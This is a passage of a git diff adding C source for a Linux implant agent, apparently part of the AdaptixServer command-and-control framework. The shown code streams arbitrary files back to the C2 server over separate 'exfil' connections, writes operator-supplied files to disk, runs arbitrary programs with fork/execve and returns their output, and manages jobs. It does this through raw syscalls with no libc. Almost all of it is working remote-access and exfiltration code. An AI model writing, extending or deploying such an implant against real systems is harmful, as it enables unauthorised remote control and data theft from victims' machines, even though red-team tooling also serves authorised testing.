R_dup2(o,n) +#define F_pipe(p) R_pipe(p) +#define F_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define F_waitpid(p,s,o) R_waitpid(p,s,o) +#define F_kill(p,s) R_kill(p,s) +#define F_exit(s) R_exit(s) +#define F_usleep(u) R_usleep(u) + +static int F_fstat_size(int fd) { + struct { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; + unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; + unsigned int __pad; unsigned long st_rdev; long st_size; + /* ... */ } st; + if (R_fstat(fd, &st) != 0) return -1; + return (int)st.st_size; +} + +#else + +#define F_open(p,f,m) sys_open(p,f,m) +#define F_close(fd) sys_close(fd) +#define F_read(fd,b,n) sys_read(fd,b,n) +#define F_write(fd,b,n) sys_write(fd,b,n) +#define F_fork() sys_fork() +#define F_setpgid(p,g) sys_setpgid(p,g) +#define F_execve(p,a,e) sys_execve(p,a,e) +#define F_dup2(o,n) sys_dup2(o,n) +#define F_pipe(p) sys_pipe2(p,0) +#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0) +#define F_kill(p,s) sys_kill(p,s) +#define F_exit(s) sys_exit_group(s) +#define F_usleep(u) sys_usleep(u) + +static int F_fstat_size(int fd) { + struct linux_stat st; + if (sys_fstat(fd, &st) != 0) return -1; + return (int)st.st_size; +} + +#endif + +// O_* constants +#ifndef O_RDONLY +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_NONBLOCK 04000 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef WNOHANG +#define WNOHANG 1 +#endif + +// ── Download ── +// Spawns thread -> opens new C2 connection -> streams file in 1MB chunks +// Wire: AnsDownload{id,path,size,content,start,finish,canceled} + +#define DOWNLOAD_CHUNK_SIZE (1024 * 1024) // 1MB + +typedef struct { + int job_idx; + char task[64]; + char path[4096]; +} download_args_t; + +static void *download_thread(void *arg) { + download_args_t *args = (download_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + job_entry_t *job = &ctx->jobs[args->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + ax_free(args); + return (void*)0; + } + + // Send ExfilPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", args->task); + + if (jobs_send_init(ctx, &job->conn, EXFIL_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + ax_free(args); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Parse FileId from task hex string + int file_id = ax_hextoi(args->task); + + // Open file + int fd = F_open(args->path, O_RDONLY, 0); + if (fd < 0) { + // Send canceled message + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", 0); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args); + return (void*)0; + } + + // Get file size + int total_size = F_fstat_size(fd); + if (total_size < 0) total_size = 0; + + // Read and stream in chunks + uint8_t *chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE); + int offset = 0; + int first = 1; + + while (offset < total_size && !job->canceled) { + int remaining = total_size - offset; + int to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE; + + long n = F_read(fd, chunk_buf, (size_t)to_read); + if (n <= 0) break; + + int is_last = (offset + (int)n >= total_size); + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)n); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n); + mp_write_kv_bool(&ans_w, "start", first ? true : false); + mp_write_kv_bool(&ans_w, "finish", is_last ? true : false); + mp_write_kv_bool(&ans_w, "canceled", false); + + if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) { + mp_writer_free(&ans_w); + break; + } + mp_writer_free(&ans_w); + + offset += (int)n; + first = 0; + } + + // If canceled, send cancel marker + if (job->canceled && offset < total_size) { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 7); + mp_write_kv_int(&ans_w, "id", file_id); + mp_write_kv_str(&ans_w, "path", args->path); + mp_write_kv_int(&ans_w, "size", (int64_t)total_size); + mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + mp_write_kv_bool(&ans_w, "canceled", true); + + jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + ax_free(chunk_buf); + F_close(fd); + conn_close(&job->conn); + jobs_remove(ctx, args->job_idx); + ax_free(args); + return (void*)0; +} + +int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + // Parse ParamsDownload{Task, Path} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || path[0] == '\0') { + write_error(w, "missing task or path"); + return 0; + } + + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { write_error(w, "max jobs reached"); return 0; } + + job_entry_t *job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_DOWNLOAD; + job->active = 1; + + download_args_t *args = (download_args_t*)ax_malloc(sizeof(download_args_t)); + args->job_idx = idx; + ax_strncpy(args->task, task, sizeof(args->task) - 1); + ax_strncpy(args->path, path, sizeof(args->path) - 1); + + jobs_thread_create(&job->thread, download_thread, args); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "download started"); + return 0; +} + +// ── Upload ── +// Synchronous — data received in chunks via normal command loop +// Wire: ParamsUpload{Path, Content, Finish} + +int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char path[4096] = {0}; + const uint8_t *content = (uint8_t*)0; + uint32_t content_len = 0; + bool finish = false; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) { + mp_read_bin(&r, &content, &content_len); + } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) { + mp_read_bool(&r, &finish); + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0') { write_error(w, "missing task"); return 0; } + + job_context_t *ctx = &g_job_ctx; + + // Find or create upload entry + int uidx = -1; + for (int i = 0; i < ctx->upload_count; i++) { + if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; } + } + if (uidx < 0) { + if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; } + uidx = ctx->upload_count++; + ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t)); + ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1); + } + + upload_entry_t *up = &ctx->uploads[uidx]; + + // Append content + if (content && content_len > 0) { + size_t needed = up->data_len + content_len; + if (needed > up->data_cap) { + size_t new_cap = needed * 2; + if (new_cap < 4096) new_cap = 4096; + uint8_t *new_data = (uint8_t*)ax_malloc(new_cap); + if (up->data && up->data_len > 0) { + ax_memcpy(new_data, up->data, up->data_len); + ax_free(up->data); + } + up->data = new_data; + up->data_cap = new_cap; + } + ax_memcpy(up->data + up->data_len, content, content_len); + up->data_len += content_len; + } + + if (finish) { + // Write file + int fd = F_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + write_error(w, "failed to create file"); + } else { + if (up->data && up->data_len > 0) { + F_write(fd, up->data, up->data_len); + } + F_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_int(w, "size", (int64_t)up->data_len); + } + + // Cleanup upload entry + if (up->data) ax_free(up->data); + for (int i = uidx; i < ctx->upload_count - 1; i++) + ctx->uploads[i] = ctx->uploads[i + 1]; + ctx->upload_count--; + } else { + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "chunk received"); + } + + return 0; +} + +// ── Run ── +// Spawns thread -> opens new C2 connection -> fork+execve -> streams stdout/stderr +// Wire: AnsRun{Stdout, Stderr, Pid, Start, Finish} + +#define RUN_CHUNK_SIZE 65536 // 64KB + +typedef struct { + int job_idx; + char task[64]; + char program[4096]; + char *args[64]; + int argc; +} run_args_t; + +static void *run_thread(void *arg) { + run_args_t *rargs = (run_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + job_entry_t *job = &ctx->jobs[rargs->job_idx]; + + // Open separate connection to C2 + if (jobs_open_connection(ctx, &job->conn) != 0) { + job->active = 0; + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + // Send JobPack init: {id, type, task} + mp_writer_t pack_w; + mp_writer_init(&pack_w, 128); + mp_write_map(&pack_w, 3); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_str(&pack_w, "task", rargs->task); + + if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + conn_close(&job->conn); + job->active = 0; + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + mp_writer_free(&pack_w); + + // Create pipes for stdout and stderr + int stdout_pipe[2], stderr_pipe[2]; + if (F_pipe(stdout_pipe) != 0 || F_pipe(stderr_pipe) != 0) { + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + // Build argv + char *exec_argv[66]; + exec_argv[0] = rargs->program; + for (int i = 0; i < rargs->argc && i < 63; i++) + exec_argv[i + 1] = rargs->args[i]; + exec_argv[rargs->argc + 1] = (char*)0; + + int pid = F_fork(); + if (pid < 0) { + F_close(stdout_pipe[0]); F_close(stdout_pipe[1]); + F_close(stderr_pipe[0]); F_close(stderr_pipe[1]); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; + } + + if (pid == 0) { + // Child process + F_setpgid(0, 0); + F_close(stdout_pipe[0]); + F_close(stderr_pipe[0]); + F_dup2(stdout_pipe[1], 1); + F_dup2(stderr_pipe[1], 2); + F_close(stdout_pipe[1]); + F_close(stderr_pipe[1]); + + // Get environ from /proc/self/environ is complex, pass NULL + // On Linux, execve with NULL envp gives empty env + // Actually use the existing environment pointer (stack) + F_execve(rargs->program, exec_argv, (char*const*)0); + F_exit(1); + } + + // Parent: close write ends + F_close(stdout_pipe[1]); + F_close(stderr_pipe[1]); + + // Set reads to non-blocking + F_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK); + F_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK); + + // Send start message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", true); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + // Streaming loop + uint8_t *out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + uint8_t *err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE); + int process_done = 0; + + while (!process_done && !job->canceled) { + F_usleep(1000000); // 1 second + + long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + if (out_n < 0) out_n = 0; + + long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (err_n < 0) err_n = 0; + + int status; + int wret = F_waitpid(pid, &status, WNOHANG); + if (wret > 0) process_done = 1; + + if (out_n > 0 || err_n > 0) { + char *out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char *err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str); + ax_free(err_str); + } + } + + // If canceled, kill process group + if (job->canceled) { + F_kill(-pid, 9); // kill process group + F_waitpid(pid, (void*)0, 0); + } + + // Drain remaining output + for (;;) { + long out_n = F_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE); + long err_n = F_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE); + if (out_n <= 0 && err_n <= 0) break; + if (out_n < 0) out_n = 0; + if (err_n < 0) err_n = 0; + + char *out_str = (char*)ax_malloc((size_t)out_n + 1); + ax_memcpy(out_str, out_buf, (size_t)out_n); + out_str[out_n] = '\0'; + + char *err_str = (char*)ax_malloc((size_t)err_n + 1); + ax_memcpy(err_str, err_buf, (size_t)err_n); + err_str[err_n] = '\0'; + + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n); + mp_write_map(&ans_w, 5); + mp_write_str(&ans_w, "stdout", 6); + mp_write_str(&ans_w, out_str, (uint32_t)out_n); + mp_write_str(&ans_w, "stderr", 6); + mp_write_str(&ans_w, err_str, (uint32_t)err_n); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", false); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + ax_free(out_str); + ax_free(err_str); + } + + // Send finish message + { + mp_writer_t ans_w; + mp_writer_init(&ans_w, 128); + mp_write_map(&ans_w, 5); + mp_write_kv_str(&ans_w, "stdout", ""); + mp_write_kv_str(&ans_w, "stderr", ""); + mp_write_kv_int(&ans_w, "pid", pid); + mp_write_kv_bool(&ans_w, "start", false); + mp_write_kv_bool(&ans_w, "finish", true); + + jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task, + ans_w.buf.data, (uint32_t)ans_w.buf.len); + mp_writer_free(&ans_w); + } + + F_close(stdout_pipe[0]); + F_close(stderr_pipe[0]); + ax_free(out_buf); + ax_free(err_buf); + conn_close(&job->conn); + jobs_remove(ctx, rargs->job_idx); + + for (int i = 0; i < rargs->argc; i++) ax_free(rargs->args[i]); + ax_free(rargs); + return (void*)0; +} + +int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char task[64] = {0}; + char program[4096] = {0}; + char *args[64]; + int argc = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + for (uint32_t j = 0; j < arr_count && argc < 63; j++) { + const char *v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) == 0) { + args[argc] = (char*)ax_malloc(vl + 1); + ax_memcpy(args[argc], v, vl); + args[argc][vl] = '\0'; + argc++; + } + } + } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || program[0] == '\0') { + for (int i = 0; i < argc; i++) ax_free(args[i]); + write_error(w, "missing task or program"); + return 0; + } + + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { + for (int i = 0; i < argc; i++) ax_free(args[i]); + write_error(w, "max jobs reached"); + return 0; + } + + job_entry_t *job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_RUN; + job->active = 1; + + run_args_t *rargs = (run_args_t*)ax_malloc(sizeof(run_args_t)); + ax_memset(rargs, 0, sizeof(run_args_t)); + rargs->job_idx = idx; + ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1); + ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1); + rargs->argc = argc; + for (int i = 0; i < argc; i++) + rargs->args[i] = args[i]; // Transfer ownership + + jobs_thread_create(&job->thread, run_thread, rargs); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "run started"); + return 0; +} + +// ── Job List ── + +int task_job_list(mp_writer_t *w) { + job_context_t *ctx = &g_job_ctx; + + int count = 0; + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) count++; + } + + mp_write_map(w, 1); + mp_write_str(w, "jobs", 4); + mp_write_array(w, (uint32_t)count); + + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) { + mp_write_map(w, 2); + mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id); + mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type); + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + + return 0; +} + +// ── Job Kill ── + +int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + const char *id = (const char*)0; + uint32_t id_len = 0; + + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 2 && ax_memcmp(k, "id", 2) == 0) { + mp_read_str(&r, &id, &id_len); + } else { + mp_skip(&r); + } + } + + if (!id || id_len == 0) { write_error(w, "missing id"); return 0; } + + char id_str[64] = {0}; + if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1; + ax_memcpy(id_str, id, id_len); + + job_context_t *ctx = &g_job_ctx; + + // Search in jobs (downloads + runs) + int idx = jobs_find(ctx, id_str); + if (idx >= 0) { + ctx->jobs[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "job canceled"); + return 0; + } + + // Search in tunnels (MUX model: mark as closed, process_tunnels handles cleanup) + int ch_id = ax_atoi(id_str); + int tidx = tunnels_find(ctx, ch_id); + if (tidx >= 0) { + ctx->tunnels[tidx].state = TUNNEL_STATE_CLOSED; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel canceled"); + return 0; + } + + // Search in terminals + int term_idx = terminals_find(ctx, ch_id); + if (term_idx >= 0) { + ctx->terminals[term_idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal canceled"); + return 0; + } + + write_error(w, "job not found"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h new file mode 100644 index 000000000..35742b4ea --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h @@ -0,0 +1,16 @@ +#ifndef TASKS_ASYNC_H +#define TASKS_ASYNC_H + +#include "msgpack.h" +#include + +/// Async command handlers -- download, upload, run, job_list, job_kill +/// These launch background threads with separate C2 connections + +int task_download(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_upload(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_run(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_job_list(mp_writer_t *w); +int task_job_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_ASYNC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c new file mode 100644 index 000000000..4576fd433 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c @@ -0,0 +1,729 @@ +/// tasks_fs.c -- Filesystem commands for Linux agent +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_fs.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Linux constants ── + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_APPEND 02000 + +// stat mode bits +#define S_IFMT 0170000 +#define S_IFDIR 0040000 +#define S_IFREG 0100000 +#define S_IFLNK 0120000 +#define S_ISDIR(m) (((m) & S_IFMT) == S_IFDIR) +#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG) +#define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK) +#define S_IRUSR 0400 +#define S_IWUSR 0200 +#define S_IXUSR 0100 +#define S_IRGRP 0040 +#define S_IWGRP 0020 +#define S_IXGRP 0010 +#define S_IROTH 0004 +#define S_IWOTH 0002 +#define S_IXOTH 0001 + +// getdents64 structure +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +/// Parse a single string field from msgpack params +static int parse_string_param(const uint8_t *data, uint32_t data_len, + const char *key_name, char *out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t kname_len = ax_strlen(key_name); + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +/// Parse two string fields (src, dst) +static int parse_two_strings(const uint8_t *data, uint32_t data_len, + const char *key1, char *out1, size_t out1_size, + const char *key2, char *out2, size_t out2_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t k1len = ax_strlen(key1); + size_t k2len = ax_strlen(key2); + int found = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == k1len && ax_memcmp(key, key1, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1); + ax_memcpy(out1, val, vlen); + out1[vlen] = '\0'; + found++; + } else if (klen == k2len && ax_memcmp(key, key2, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1); + ax_memcpy(out2, val, vlen); + out2[vlen] = '\0'; + found++; + } else { + mp_skip(&r); + } + } + return (found >= 2) ? 0 : -1; +} + +/// Expand ~ to /home/ via /proc/self/environ HOME= +static void normalize_path(const char *input, char *out, size_t out_size) { + if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) { + // Read HOME from /proc/self/environ + char env_buf[4096]; + int fd = sys_open("/proc/self/environ", O_RDONLY, 0); + if (fd >= 0) { + long n = sys_read(fd, env_buf, sizeof(env_buf) - 1); + sys_close(fd); + if (n > 0) { + env_buf[n] = '\0'; + // Environ is null-separated. Find HOME= + char *p = env_buf; + char *end = env_buf + n; + while (p < end) { + if (p[0] == 'H' && p[1] == 'O' && p[2] == 'M' && p[3] == 'E' && p[4] == '=') { + ax_strncpy(out, p + 5, out_size - 1); + ax_strcat(out, input + 1); + out[out_size - 1] = '\0'; + return; + } + while (p < end && *p) p++; + p++; // skip null separator + } + } + } + // Fallback: /tmp + ax_strncpy(out, "/tmp", out_size - 1); + ax_strcat(out, input + 1); + } else { + ax_strncpy(out, input, out_size - 1); + } + out[out_size - 1] = '\0'; +} + +/// Build permission mode string from stat mode +static void mode_string(unsigned int mode, char *buf) { + buf[0] = S_ISDIR(mode) ? 'd' : (S_ISLNK(mode) ? 'l' : '-'); + buf[1] = (mode & S_IRUSR) ? 'r' : '-'; + buf[2] = (mode & S_IWUSR) ? 'w' : '-'; + buf[3] = (mode & S_IXUSR) ? 'x' : '-'; + buf[4] = (mode & S_IRGRP) ? 'r' : '-'; + buf[5] = (mode & S_IWGRP) ? 'w' : '-'; + buf[6] = (mode & S_IXGRP) ? 'x' : '-'; + buf[7] = (mode & S_IROTH) ? 'r' : '-'; + buf[8] = (mode & S_IWOTH) ? 'w' : '-'; + buf[9] = (mode & S_IXOTH) ? 'x' : '-'; + buf[10] = '\0'; +} + +/// Format mtime from epoch seconds into "Mon DD HH:MM" style +/// Simplified — no timezone support, uses UTC +static void format_date(unsigned long epoch, char *buf, size_t buf_size) { + // Simplified: just show epoch as a number if we can't format properly + // For real formatting, would need a mini gmtime implementation + // We'll format as "YYYY-MM-DD HH:MM" using a minimal epoch decoder + + // Days since epoch + unsigned long secs = epoch; + unsigned long mins = secs / 60; secs %= 60; + unsigned long hours = mins / 60; mins %= 60; + unsigned long days = hours / 24; hours %= 24; + + // Year calculation (simplified — ignores leap seconds) + int year = 1970; + for (;;) { + int yday = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0) ? 366 : 365; + if (days < (unsigned long)yday) break; + days -= yday; + year++; + } + + // Month calculation + int leap = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0); + int month_days[] = {31, 28 + leap, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; + static const char *month_names[] = {"Jan","Feb","Mar","Apr","May","Jun", + "Jul","Aug","Sep","Oct","Nov","Dec"}; + int month = 0; + while (month < 12 && days >= (unsigned long)month_days[month]) { + days -= month_days[month]; + month++; + } + int day = (int)days + 1; + + // Format: "Mon DD HH:MM" + char tmp[32]; + int pos = 0; + const char *mn = month_names[month < 12 ? month : 0]; + tmp[pos++] = 